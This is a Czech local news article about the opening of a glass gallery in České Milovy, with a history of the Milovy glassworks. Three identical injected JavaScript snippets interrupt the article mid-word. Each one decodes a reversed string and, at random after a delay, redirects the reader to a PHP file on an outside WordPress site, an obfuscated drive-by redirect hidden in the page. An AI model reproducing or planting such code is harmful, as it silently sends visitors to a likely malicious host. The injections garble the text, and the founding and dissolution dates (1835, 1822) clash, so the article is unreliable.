Rainbow page separator

V bývalém skelmistrovském domě otevřou galerii českého skla

Středa, 19. července 2023

České Milovy / Slavnostní otevření sklářské galerie Na milovské huti se v sobotu 22. července v době od 15 do 19 hodin uskuteční ve zrekonstruovaném skelmistrovském domě v Českých Milovech. Nová galerie prezentuje na tisícovku exponátů českého skla od 17. do 19. s$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}toletí se zřetelem na typický sortiment horáckých skláren a nechybí ani filmový dokument mapující his$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}torii dvaceti skláren z centra Českomoravské vysočiny včetně nejproslulejší z nich - milovské hutě. Vstup na slavnostní otevření galerie je volný, k dispozici bude občerstvení v podobě sklářského guláše a huťského piva. Kolem skelmistrovského domu, jenž v minulých letech prošel citlivou přestavbou, současně vede oblíbená naučná stezka. Ta přibližuje his$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}torii sklářské osady, z níž se dodnes v podobě rekreačních objektů dochovaly některé budovy. Milovská huť byla založena v roce 1835 a kolem ní postupně vznikaly příbytky zaměstnanců. Milovští skláři vyráběli sklo, které se vyváželo až do Turecka, Španělska nebo Ameriky. Období prosperity však netrvalo příliš dlouho, neboť pokud prvním impulsem ke vzniku hutí byl nadbytek dřeva, jeho nedostatek a následné zdražení předznamenaly i konec skláren. Dalším problémem byla značná vzdálenost od v té době expandující železnice, tudíž milovská huť nemohla konkurovat sklárnám v severních Čechách s vytápěním uhlím a v blízkosti dráhy. Tehdejší rychmburská vrchnost se nejdříve snažila sklářský provoz pronajmout, později i prodat, ale nakonec v roce 1822 s rozpuštěním huti proběhla i dražba a v dalších dvou letech byla většina objektů zbořena. Z bývalé sklářské osady zůstal jenom dům huťmistra (skelmistra) a několik dalších domků, které si odkoupili místní obyvatelé.